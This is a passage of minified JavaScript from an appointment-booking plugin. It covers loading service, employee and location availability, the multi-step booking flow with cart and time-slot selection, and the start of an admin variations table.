this.readyPromise=function(e=!1){return(e||null==_e)&&(_e=n("/services/available").catch((e=>(console.error("Unable to extract available services."),{})))),_e}(e).then((e=>{const{services:t,services_order:i,categories_order:s,employees_order:a,locations_order:r,categories_tree:n}=e;return this.setServiceIndexes(i||[]),this.setCategoryIndexes(s||[]),this.setEmployeeIndexes(a||[]),this.setLocationIndexes(r||[]),this.setServiceCategoriesTree(n||{}),this.setAvailability(t),this})),this.readyPromise}setServiceCategoriesTree(e){this.categories_tree=e}setServiceIndexes(e){this.serviceIndexes=e}setCategoryIndexes(e){this.categoryIndexes=e}setEmployeeIndexes(e){this.employeeIndexes=e}setLocationIndexes(e){this.locationIndexes=e}setAvailability(e){this.availability=e;for(let t in e){let i=e[t];this.services[t]=i.name;for(let e in i.categories){let t=i.categories[e];this.serviceCategories[e]=t}for(let e in i.employees){let t=i.employees[e];this.employees[e]=t.name;for(let e in t.locations){let i=t.locations[e];this.locations[e]=i}}}}isEmpty(){return _(this.availability)}ready(){return null===this.readyPromise&&this.load(),this.readyPromise}getServicePromise(){return this.servicePromise}getService(e,t=!0,i=null){let s=new de(e);return this.services.hasOwnProperty(e)&&s.setName(this.services[e]),!0===t?(this.servicePromise=pe.loadInBackground(s,Te().service()),null!==i&&this.servicePromise.then(i),this.servicePromise.then((()=>s))):this.servicePromise=null,s}getServiceCategories(e){return this.availability[e].categories}getServiceCategoriesTree(){return this.categories_tree||{}}getEmployee(e){let t=new he(e);return this.employees.hasOwnProperty(e)&&(t.name=this.employees[e]),t}getLocation(e){let t=new ce(e);return this.locations.hasOwnProperty(e)&&(t.name=this.locations[e]),t}getAvailableServices(e="",t=0,i=0){let s={};for(let a in this.availability){let r=this.availability[a];if(""===e||e in r.categories){if(0!==t){let e=!1;if(Object.keys(r.employees).forEach((i=>{r.employees[i].locations.hasOwnProperty(t)&&(e=!0)})),!e)continue}(0===i||i in r.employees)&&(s[a]=r.name)}}return s}getAvailableServiceCategories(){let e={};for(let t in this.availability){let i=this.availability[t];jQuery.extend(e,i.categories)}return e}getAvailableEmployees(e=0,t=0){let i={};for(let s in this.availability){if(0!=e&&s!=e)continue;let a=this.availability[s];for(let e in a.employees){let s=a.employees[e];(0===t||t in s.locations)&&(i[e]=s.name)}}return i}getAvailableLocations(e=0,t=0){let i={};for(let s in this.availability){if(0!=e&&s!=e)continue;let a=this.availability[s];for(let e in a.employees){if(0!=t&&e!=t)continue;let s=a.employees[e];jQuery.extend(i,s.locations)}}return i}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,i="ids"){if(!(e in this.availability))return[];let s=[];Array.isArray(t)?s=t.filter(De):0!==t&&s.push(t);let a=[];for(let t in this.availability[e].employees){t=S(t);let i=this.availability[e].employees[t];if(0===s.length)a.push(t);else{P(s,Object.keys(i.locations).map(S)).length>0&&a.push(t)}}return 0===a.length?[]:"entities"===i?a.map((e=>this.getEmployee(e))):a}filterAvailableLocations(e,t=0,i="ids"){if(!(e in this.availability))return[];let s=[];Array.isArray(t)?s=t.filter(De):0!==t&&s.push(t);let a=[];for(t in this.availability[e].employees){if(t=S(t),s.length>0&&-1===s.indexOf(t))continue;let i=this.availability[e].employees[t];for(let e in i.locations)a.push(S(e))}return a=k(a),0===a.length?[]:"entities"===i?a.map((e=>this.getLocation(e))):a}}class xe{constructor(e){this.cart=e,this.steps=new ne,this.currentStep=null,this.currentStepId=""}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(".mpa-booking-step").on("mpa_booking_step_next",((e,t)=>this.onStep("next",t))).on("mpa_booking_step_back",((e,t)=>this.onStep("back",t))).on("mpa_booking_step_new",((e,t)=>this.onStep("new",t))).on("mpa_reset_booking",((e,t)=>this.onStep("reset",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case"next":this.goToNextStep();break;case"back":this.goToPreviousStep();break;case"new":this.goToFirstStep();break;case"reset":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):"";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{"cart item"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{"cart item"!==e.getCartContext()&&e.reset()}))}}class Ae{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(".mpa-actions"),this.$buttonBack=this.$buttons.find(".mpa-button-back"),this.$buttonNext=this.$buttons.find(".mpa-button-next")}theId(){return"abstract"}getCartContext(){return"cart"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on("click",this.cancel.bind(this)),this.$buttonNext.on("click",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let i=this.validateProperty(e,t);if(i===this[e])return;let s=this.preventReact;this.preventReact=!0,this.updateProperty(e,i),s||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let i=t;if(e in this.schema){let s=this.schema[e];if(null==t)i=s.default;else{switch(s.type){case"bool":i=b(t);break;case"integer":i=S(t)}if(!_(i)&&null!=s.options){s.options.indexOf(i)>=0||(i=this[e])}}}else null==t&&(i=null);return i}updateProperty(e,t){let i=this[e];this[e]=t,this.afterUpdate(e,t,i)}afterUpdate(e,t,i){}react(){let e=this.isValidInput();this.$buttonNext.prop("disabled",!e),this.hideButtons&&this.$buttons.toggleClass("mpa-hide",!e)}show(){this.enable(),this.react(),this.$element.removeClass("mpa-hide"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass("mpa-loaded"),this.hideButtons||this.$buttons.removeClass("mpa-hide")}hide(){this.disable(),this.$element.addClass("mpa-hide")}enable(){this.isActive=!0,this.$buttonBack.prop("disabled",!1),this.$buttonNext.prop("disabled",!1)}disable(){this.isActive=!1,this.$buttonBack.prop("disabled",!0),this.$buttonNext.prop("disabled",!0)}cancel(e){void 0!==e&&e.stopPropagation(),this.isActive&&(this.disable(),this.triggerBack())}submit(e){if(void 0!==e&&e.stopPropagation(),!this.isActive||!this.isValidInput())return;this.disable();let t=this.maybeSubmit();null==t?this.triggerNext():"object"!=typeof t?t?this.triggerNext():this.cancelSubmission():t.then(this.triggerNext.bind(this),this.cancelSubmission.bind(this))}maybeSubmit(){}cancelSubmission(){this.enable(),this.react()}triggerBack(){this.$element.trigger("mpa_booking_step_back",{step:this.stepId})}triggerNext(){this.$element.trigger("mpa_booking_step_next",{step:this.stepId})}hideButtonBack(){this.$buttonBack.prop("disabled",!0),this.$buttonBack.toggleClass("mpa-hide",!0)}}class Me extends Ae{setupProperties(){super.setupProperties(),this.isBeginCheckoutEventSent=!1,this.$cart=this.$element.find(".mpa-cart"),this.$items=this.$cart.find(".mpa-cart-items"),this.$itemTemplate=this.$cart.find(".mpa-cart-item-template"),this.$noItems=this.$element.find(".no-items"),this.$totalPrice=this.$element.find(".mpa-cart-total-price"),this.$buttonNew=this.$buttons.find(".mpa-button-new")}theId(){return"cart"}addListeners(){super.addListeners(),this.$buttonNew.on("click",this.createNew.bind(this))}load(){if(this.$itemTemplate.remove(),this.$itemTemplate.removeClass("mpa-cart-item-template"),null!==this.cart.getActiveItem()){let e=this.cart.getActiveItem(),t=e.getItemId(),i=e.getDate(),s=e.getTime();this.cart.getItems().forEach((a=>{a.isSet()&&a.getItemId()!=t&&a.isAtTime(i,s)&&a.removeBookingVariatForEmployee(e.getEmployeeId())}))}this.updateActiveItemCapacity(),this.refreshCart(),this.isLoaded=!0,this.readyPromise=Promise.resolve(this)}reset(){this.$items.find(".mpa-cart-item").remove(),this.$noItems.removeClass("mpa-hide"),this.isBeginCheckoutEventSent=!1}updateActiveItemCapacity(){let e=this.cart.getActiveItem();if(!e)return;let t=e.getMinCapacity(),i=e.getMaxCapacity();var s,a,r;e.setCapacity((s=e.getCapacity(),a=t,r=i,Math.max(a,Math.min(s,r))))}refreshCart(){this.cart.getActiveItemId(),this.cart.items.forEach(((e,t,i)=>{let s='.mpa-cart-item[data-id="'+i+'"]',a=this.$items.find(s);0===a.length?(a=this.addItem(e),this.bindListeners(a)):(a=this.updateItem(a,e),this.bindListeners(a))})),this.updateTotalPrice()}addItem(e){let t=V(e,this.$itemTemplate);return this.$items.append(t),this.$noItems.addClass("mpa-hide"),t}updateItem(e,t){let i=V(t,this.$itemTemplate);return e.replaceWith(i),i}bindListeners(e){let t=e.data("id"),i=this.cart.getItem(t),s=e.find(".mpa-reservation-capacity select, .mpa-reservation-clients select"),a=e.find(".mpa-reservation-price"),r=e.find(".mpa-button-remove, .mpa-button-edit-or-remove"),n=e.find(".mpa-button-edit, .mpa-button-edit-or-remove");s.on("change",(t=>{let s=S(t.target.value);i.setCapacity(s);let r=i.getBookingVariantForCapacity(s),n=r.employeeId,o=r.locationId;if(i.getEmployeeId()!=n)i.setEmployee(n,!1),i.setLocation(o,!1),e=this.updateItem(e,i),this.bindListeners(e);else{let e=i.service.getPrice(n,s);a.html(R(e))}this.updateTotalPrice()})),this.isMultibookingEnabled()&&r.on("click",(i=>{i.stopPropagation(),e.remove();let s=this.cart.getItem(t);this.cart.removeItem(t),this.cart.isEmpty()&&this.$noItems.removeClass("mpa-hide"),this.updateTotalPrice(),this.react(),document.dispatchEvent(new CustomEvent("mpa_remove_from_cart",{detail:{cartItem:s,currencyCode:h().settings().getCurrency()}}))})),this.isMultibookingEnabled()||n.on("click",(()=>{this.cart.setActiveItem(t),this.cancel()}))}updateTotalPrice(){this.$totalPrice.html(function(e,t={}){return t.literal_free=!1,R(e,t)}(this.cart.getTotalPrice()))}isMultibookingEnabled(){return h().settings().isMultibookingEnabled()}isValidInput(){return!this.cart.isEmpty()}createNew(){this.isActive&&(this.disable(),this.triggerNew())}triggerNew(){this.$element.trigger("mpa_booking_step_new",{step:this.stepId})}maybeSubmit(){this.isBeginCheckoutEventSent||(document.dispatchEvent(new CustomEvent("mpa_begin_checkout",{detail:{cart:this.cart,currencyCode:h().settings().getCurrency()}})),this.isBeginCheckoutEventSent=!0)}}function Le(e){return function(e,t=!1){return Te().service().findAll(e,t)}(e.getServiceIds()).then((t=>(e.updateServices(t),t)))}class Be extends Me{setupProperties(){super.setupProperties(),this.wasMultipleReservation=!1,this.$buttonEdit=this.$buttons.find(".mpa-button-edit")}addListeners(){super.addListeners(),this.$buttonEdit.on("click",this.startEditing.bind(this))}startEditing(){this.$element.removeClass("mpa-loaded").addClass("editable"),this.$buttonNew.prop("disabled",!0),function(e,t=null){t||(t=new oe),e.find(".mpa-cart-item:not(.mpa-cart-item-template)").each(((e,i)=>{let s=i.getAttribute("data-id")||"",a=t.createItem(s),r=jQuery(i);s!==a.getItemId()&&(s=a.getItemId(),r.attr("data-id",s));let n=r.find('input[name*="service_id"], select[name*="service_id"]').val(),o=r.find('input[name*="employee_id"], select[name*="employee_id"]').val(),l=r.find('input[name*="location_id"], select[name*="location_id"]').val();n&&(a.service=new de(S(n))),o&&(a.employee=new he(S(o)),a.employee.name=r.find(".mpa-employee-name").text().trim()),l&&(a.location=new ce(S(l)),a.location.name=r.find(".mpa-location-name").text().trim());let h=r.find('input[name*="date"]').val(),c=r.find('input[name*="time"]').val();h&&(a.date=g(h)),c&&(a.time=new ye(c)),a.date&&a.time&&a.time.setDate(a.date);let d=r.find('input[name*="capacity"], select[name*="capacity"]').val();d&&(a.capacity=S(d))}))}(this.$element,this.cart),this.cart.setActiveItem(null),this.wasMultipleReservation=this.cart.getItemsCount()>1,this.react(),this.cart.items.forEach((e=>{let t=this.$items.find('.mpa-cart-item[data-id="'+e.getItemId()+'"]');t.length>0&&this.bindListeners(t)})),Le(this.cart).then((()=>{this.$element.addClass("mpa-loaded"),this.$buttonNew.prop("disabled",!1)}))}react(){super.react();let e=this.cart.getItemsCount()<1||this.isMultibookingEnabled();this.$buttonNew.toggleClass("mpa-hide",!e)}isMultibookingEnabled(){return this.wasMultipleReservation||super.isMultibookingEnabled()}}class Oe extends Ae{setupProperties(){super.setupProperties(),this.cartItem=null,this.lastHash="",this.monthSlots={},this.date="",this.time="",this.datepicker=null,this.$dateWrapper=this.$element.find(".mpa-date-wrapper"),this.$dateInput=this.$element.find(".mpa-date"),this.$timeWrapper=this.$element.find(".mpa-time-wrapper"),this.$times=this.$timeWrapper.find(".mpa-times"),this.lookedAheadMonths=0,this.maxLookAheadMonths=12,this.isSelectedFirstAvailableSlot=!1,this.availabilityService=null}setAvailabilityService(e){this.availabilityService=e}theId(){return"period"}getCartContext(){return"cart item"}propertiesSchema(){return{date:{type:"string",default:""},time:{type:"string",default:""}}}addListeners(){super.addListeners(),this.$dateInput.on("change",(e=>this.setProperty("date",e.target.value)))}loadEntities(){return this.cartItem=this.cart.getActiveItem(),this.lastHash=this.cartItem.getHash("availability"),Promise.resolve(this)}reload(){return this.cartItem.didChange(this.lastHash,"availability")?(this.$element.removeClass("mpa-loaded"),this.resetDate(),this.readyPromise=this.loadEntities(),this.monthSlots={},null!=this.datepicker&&(this.setEnabledDays([]),this.readyPromise.finally((()=>this.resetEnabledDays()))),this.readyPromise):Promise.resolve(this)}reset(){this.cartItem=this.cart.getActiveItem(),this.lastHash="",this.monthSlots={},this.resetDate()}isValidInput(){return""!=this.date&&""!=this.time}resetDate(){this.resetProperty("date")}resetTime(){this.$times.empty(),this.resetProperty("time")}setEnabledDays(e){_(e,!0)?this.datepicker.set("enable",["2000-01-01"]):this.datepicker.set("enable",e)}afterUpdate(e,t,i){"date"==e&&(""==t?this.resetTime():this.resetTimeSlots())}react(){super.react(),this.$timeWrapper.toggleClass("mpa-hide",""==this.date)}showReady(){super.showReady(),null==this.datepicker&&(this.showDatepicker(),this.resetEnabledDays())}showDatepicker(){this.datepicker=v(this.$dateInput,this.getDatepickerArgs())}getDatepickerArgs(){return{minDate:h().settings().getBusinessDate(),onMonthChange:()=>this.resetEnabledDays()}}maybeSubmit(){let e=this.cartItem;if(e.date=g(this.date),e.time=new ye(this.time),e.date&&e.time&&e.time.setDate(e.date),null===e.employee||null===e.location){let t=this.autoselectIds(),i=t[0],s=t[1];null===e.employee&&e.setEmployee(i,!1),null===e.location&&e.setLocation(s,!1)}let t=this.getCurrentMonthKey();this.cartItem.setBookingVariants(this.monthSlots[t][this.date][this.time]),document.dispatchEvent(new CustomEvent("mpa_add_to_cart",{detail:{cartItem:e,currencyCode:h().settings().getCurrency()}})),document.dispatchEvent(new CustomEvent("mpa_view_cart",{detail:{cart:this.cart,currencyCode:h().settings().getCurrency()}}))}selectFirstDateTimeSlot(){let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,i=this.getMonthKey(e,t);const s=this.monthSlots[i];if(s&&Object.keys(s).length>0){const e=Object.keys(s)[0],t=Object.keys(s[e])[0];this.datepicker.setDate(e,!0);this.$times.children(".mpa-time-period").filter(((e,i)=>i.getAttribute("date-time")===t)).trigger("click"),this.isSelectedFirstAvailableSlot=!0}else{if(!0===this.isSelectedFirstAvailableSlot)return;if(this.lookedAheadMonths>=this.maxLookAheadMonths)return this.datepicker.changeMonth(-this.lookedAheadMonths),void(this.isSelectedFirstAvailableSlot=!0);this.lookedAheadMonths+=1,this.datepicker.changeMonth(1),this.reload()}}autoselectIds(){let e=[0,0],t=this.getCurrentMonthKey();if(this.monthSlots[t]&&this.monthSlots[t][this.date]){let i=this.monthSlots[t][this.date];for(let t in i)if(t===this.time){let s=i[t];e[0]=s[0][0],e[1]=s[0][1];break}}return e}waitForServiceToLoad(){let e=this.availabilityService.getServicePromise();return null!==e?e:Promise.resolve(this.cartItem.getService())}resetEnabledDays(){this.resetDate(),this.setEnabledDays([]),this.$dateWrapper.removeClass("mpa-loaded");let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,i=this.getMonthKey(e,t),s=null;if(this.monthSlots[i])s=Promise.resolve(this.monthSlots[i]);else{s=function(e,t,i,s){return n("/calendar/time",{service_id:e,employee_in:s.employee_in?s.employee_in.join(","):"",location_in:s.location_in?s.location_in.join(","):"",date_from:m(t,"internal"),date_to:m(i,"internal"),exclude_cart:s.exclude_cart?s.exclude_cart:[]}).catch((e=>console.error("Failed to make time slots in mpa_time_slots().",e.message)||{}))}(this.cartItem.service.id,new Date(e,t,1),new Date(e,t+1,1),this.getTimeSlotsQueryArgs())}Promise.all([s,this.waitForServiceToLoad()]).then((e=>{let t=e[0];this.monthSlots[i]=t,this.setEnabledDays(Object.keys(t)),this.$dateWrapper.addClass("mpa-loaded"),this.selectFirstDateTimeSlot()}))}getTimeSlotsQueryArgs(){let e=this.cartItem.getEmployeeId(),t=this.cartItem.getLocationId();return{employee_in:e?[e]:this.cartItem.getAvailableEmployeeIds(),location_in:t?[t]:this.cartItem.getAvailableLocationIds(),exclude_cart:this.cart.toArray("items")}}resetTimeSlots(){this.resetTime();let e={},t=this.getCurrentMonthKey();null!=this.monthSlots[t][this.date]&&(e=this.monthSlots[t][this.date]);let i=0;for(let t in e){let s=new ye(t).toString("public",'<span class="mpa-period-end-time"> - ')+"</span>",a=this.cartItem.getService();if(a.isGroupService()){let i=a.getMinCapacity();for(let s of e[t])i=Math.max(i,s[3]);s+=" ",s+='<span class="mpa-slot-capacity">',s+='<span class="mpa-slot-capacity-label">'+a.getQuantityLabel()+":</span>",s+="&nbsp;",s+='<span class="mpa-slot-capacity-number">'+i+"</span>",s+="</span>"}let r=B(s,{class:"button button-secondary mpa-time-period","date-time":t});this.$times.append(r),i++}i>0?this.$times.children(".mpa-time-period").on("click",(e=>this.onTime(e,e.currentTarget))):this.$times.text(c("Sorry, but we were unable to allocate time slots for the date you selected.","motopress-appointment"))}getMonthKey(e,t){return t<=8?e+"-0"+(t+1):e+"-"+(t+1)}getCurrentMonthKey(){if(""!==this.date){let e=g(this.date);return this.getMonthKey(e.getFullYear(),e.getMonth())}return"2000-01"}onTime(e,t){this.$times.children(".mpa-time-period-selected").removeClass("mpa-time-period-selected"),t.classList.add("mpa-time-period-selected"),this.setProperty("time",t.getAttribute("date-time"))}}class Ve extends Oe{getDatepickerArgs(){let e=super.getDatepickerArgs(),t=this.cart.getMinDate(),i=new Date(t.getFullYear(),t.getMonth());return e.minDate=m(i,"internal"),e}getTimeSlotsQueryArgs(){let e=super.getTimeSlotsQueryArgs();return e.since_today=!1,e}}class Fe extends Ae{setupProperties(){super.setupProperties(),this.availabilityService=null,this.category="",this.serviceId=0,this.employeeId=0,this.locationId=0,this.isHiddenStep=!0,this.$form=this.$element.find(".mpa-service-form"),this.$categories=this.$element.find(".mpa-service-category-wrapper"),this.$services=this.$element.find(".mpa-service-wrapper"),this.$employees=this.$element.find(".mpa-employee-wrapper"),this.$locations=this.$element.find(".mpa-location-wrapper"),this.$selects=this.$element.find(".mpa-input-wrapper select"),this.$categoriesSelect=this.$selects.filter(".mpa-service-category"),this.$servicesSelect=this.$selects.filter(".mpa-service"),this.$employeesSelect=this.$selects.filter(".mpa-employee"),this.$locationsSelect=this.$selects.filter(".mpa-location"),this.unselectedServiceText=this.$servicesSelect.children('[value=""]').text(),this.unselectedOptionText=this.$selects.filter(".mpa-optional-select").first().find("option:first").text()}setAvailabilityService(e){this.availabilityService=e}theId(){return"service-form"}getCartContext(){return"cart item"}propertiesSchema(){return{category:{type:"string",default:""},serviceId:{type:"integer",default:0},employeeId:{type:"integer",default:0},locationId:{type:"integer",default:0}}}addListeners(){super.addListeners(),this.$form.on("submit",this.submitForm.bind(this)),this.$categoriesSelect.on("change",(e=>this.setProperty("category",e.target.value))),this.$servicesSelect.on("change",(e=>this.setProperty("serviceId",e.target.value))),this.$employeesSelect.on("change",(e=>this.setProperty("employeeId",e.target.value))),this.$locationsSelect.on("change",(e=>this.setProperty("locationId",e.target.value)))}isHiddenElementByProp(e){const t=e.attr("data-is-hidden");return void 0!==t&&"false"!==t}initCategoriesSelect(){if(0==this.$categoriesSelect.length)return;this.updateCategorySchema();let e=this.$categoriesSelect.val(),t=this.isHiddenElementByProp(this.$categoriesSelect);if(this.$categoriesSelect.attr("data-default")){const i=this.$categoriesSelect.attr("data-default");this.isValidCategoryBySchema(i)?e=i:t=!1}this.setProperty("category",e),this.renderCategorySelect(),t||(this.isHiddenStep=!1),this.$categories.toggleClass("mpa-hide",t)}initServicesSelect(){if(0==this.$servicesSelect.length)return;this.updateServiceSchema();let e=this.$servicesSelect.val(),t=this.isHiddenElementByProp(this.$servicesSelect);if(this.$servicesSelect.attr("data-default")){const i=S(this.$servicesSelect.attr("data-default"));this.isValidServiceBySchema(i)?e=i:t=!1}this.setProperty("serviceId",e),this.renderServiceSelect(),t||(this.isHiddenStep=!1),this.$services.toggleClass("mpa-hide",t)}initEmployeesSelect(){if(0==this.$employeesSelect.length)return;this.updateEmployeeSchema();let e=this.$employeesSelect.val(),t=this.isHiddenElementByProp(this.$employeesSelect);if(this.$employeesSelect.attr("data-default")){const i=S(this.$employeesSelect.attr("data-default"));this.isValidEmployeeBySchema(i)?e=i:t=!1}this.setProperty("employeeId",e),this.renderEmployeeSelect(),t||(this.isHiddenStep=!1),this.$employees.toggleClass("mpa-hide",t)}initLocationsSelect(){if(0==this.$locationsSelect.length)return;this.updateLocationSchema();let e=this.$locationsSelect.val(),t=this.isHiddenElementByProp(this.$locationsSelect);if(this.$locationsSelect.attr("data-default")){const i=S(this.$locationsSelect.attr("data-default"));this.isValidLocationBySchema(i)?e=i:t=!1}this.setProperty("locationId",e),this.renderLocationSelect(),t||(this.isHiddenStep=!1),this.$locations.toggleClass("mpa-hide",t)}loadEntities(){return this.availabilityService.ready().finally((()=>(this.initServicesSelect(),this.initCategoriesSelect(),this.initEmployeesSelect(),this.initLocationsSelect(),this)))}reset(){let e={category:this.$categoriesSelect,serviceId:this.$servicesSelect,employeeId:this.$employeesSelect,locationId:this.$locationsSelect};this.preventReact=!0;for(let t in e){let i=e[t].attr("data-default");i?this.setProperty(t,i):this.resetProperty(t)}this.preventReact=!1,this.isActive&&this.react()}isValidInput(){return 0!=this.serviceId}updateCategorySchema(){const e=this.availabilityService.getAvailableServiceCategories();this.schema.category.options=Object.keys(e)}updateServiceSchema(){const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.schema.serviceId.options=Object.keys(e).map(S)}updateEmployeeSchema(){const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId);this.schema.employeeId.options=Object.keys(e).map(S)}updateLocationSchema(){const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId);this.schema.locationId.options=Object.keys(e).map(S)}isValidCategoryBySchema(e){return this.schema.category.options.includes(e)}isValidServiceBySchema(e){return this.schema.serviceId.options.includes(e)}isValidLocationBySchema(e){return this.schema.locationId.options.includes(e)}isValidEmployeeBySchema(e){return this.schema.employeeId.options.includes(e)}afterUpdate(e,t,i){if(this.updateCategorySchema(),this.updateServiceSchema(),this.updateEmployeeSchema(),this.updateLocationSchema(),"category"===e){let e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.serviceId in e||(this.resetProperty("serviceId"),this.resetProperty("employeeId"),this.resetProperty("locationId"))}}react(){super.react(),this.$categoriesSelect.val(this.category||""),this.$servicesSelect.val(this.serviceId||""),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass("mpa-selected",""!=this.category),this.$servicesSelect.toggleClass("mpa-selected",0!=this.serviceId),this.$employeesSelect.toggleClass("mpa-selected",0!=this.employeeId),this.$locationsSelect.toggleClass("mpa-selected",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop("disabled",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let i;const s=parseInt(this.serviceId,10);if(s>0){const t=this.availabilityService.getServiceCategories(s);i=ke(Ce(e,Object.keys(t)))}else i=null;const a=Pe(e,t,i),r=this.category||"";Q(this.$categoriesSelect,{"":this.unselectedOptionText},a,r),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.serviceId?"":String(this.serviceId);Q(this.$servicesSelect,{"":this.unselectedServiceText},t,i),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.employeeId?"0":String(this.employeeId);Q(this.$employeesSelect,{0:this.unselectedOptionText},t,i),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId),t=this.availabilityService.locationIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.locationId?"0":String(this.locationId);Q(this.$locationsSelect,{0:this.unselectedOptionText},t,i),this.preventUpdate=!1}show(){this.$servicesSelect.prop("required",!0),super.show()}hide(){super.hide(),this.$servicesSelect.prop("required",!1)}enable(){super.enable(),this.$selects.prop("disabled",!1)}disable(){super.disable(),this.$selects.prop("disabled",!0)}submitForm(e){this.isActive&&!this.isValidInput()||e.preventDefault()}maybeSubmit(){let e=this.cart.getActiveItem();if(null===e)return console.error("Unable to get active cart item in StepServiceForm.maybeSubmit().");if(e.setService(this.availabilityService.getService(this.serviceId,!0,(()=>{document.dispatchEvent(new CustomEvent("mpa_view_item",{detail:{cartItem:e,currencyCode:h().settings().getCurrency()}}))}))),e.setServiceCategories(this.availabilityService.getServiceCategories(this.serviceId)),0!==this.employeeId?e.setEmployee(this.availabilityService.getEmployee(this.employeeId)):e.setAvailableEmployees(this.availabilityService.filterAvailableEmployees(this.serviceId,this.locationId,"entities")),0!==this.locationId)e.setLocation(this.availabilityService.getLocation(this.locationId));else{let t=this.employeeId||e.getAvailableEmployeeIds();e.setAvailableLocations(this.availabilityService.filterAvailableLocations(this.serviceId,t,"entities"))}}}class Re extends s{constructor(e){super(e),this.cart=new oe,this.steps=new xe(this.cart),this.load()}setupSteps(){this.steps.addStep(new Fe(this.$element.find(".mpa-booking-step-service-form"),this.cart)).addStep(new Ve(this.$element.find(".mpa-booking-step-period"),this.cart)).addStep(new Be(this.$element.find(".mpa-booking-step-cart"),this.cart)),this.steps.mount(this.$element);let e=new Ee;this.steps.getStep("service-form").setAvailabilityService(e),this.steps.getStep("period").setAvailabilityService(e),this.steps.goToStep("cart")}load(){this.setupSteps()}}class je extends s{constructor(e){super(e),this.$table=this.$element.find("table"),this.$rows=this.$table.children("tbody"),this.$addButton=this.$element.find(".mpa-add-button"),this.inputName=this.$element.attr("data-base-name"),this.variations={},this.count=0,this.employees={},this.durations={},this.findVariations(),this.getEmployees(),this.getDurations(),this.clearElement(),this.addListeners()}findVariations(){this.$element.find(".mpa-variation").each(((e,t)=>{let i=jQuery(t),s=i.attr("data-id");this.variations[s]=i,this.count++}))}getEmployees(){this.$element.find(".mpa-employees-list option").each(((e,t)=>{let i=parseInt(t.value),s=t.text;this.employees[i]=s}))}getDurations(){this.$element.find(".mpa-durations-list option").each(((e,t)=>{let i=parseInt(t.value),s=t.text;this.durations[i]=s}))}clearElement(){this.$element.children(".mpa-data-lists").remove()}addListeners(){this.$addButton.on("click",this.addRow.bind(this)),this.$element.find(".mpa-remove-button").on("click",(e=>this.removeRowByElement(e.target)))}addRow(){let e=C(),t=this.renderRow(e);this.$rows.append(t);let i=this.$rows.find('[data-id="'+e+'"]');this.variations[e]=i,this.count++,this.$table.removeClass("mpa-hide"),i.find(".mpa-remove-button").on("click",(e=>this.removeRowByElement(e.target)))}renderRow(e){let t=this.inputName+"["+e+"]",i="";return i+='<tr 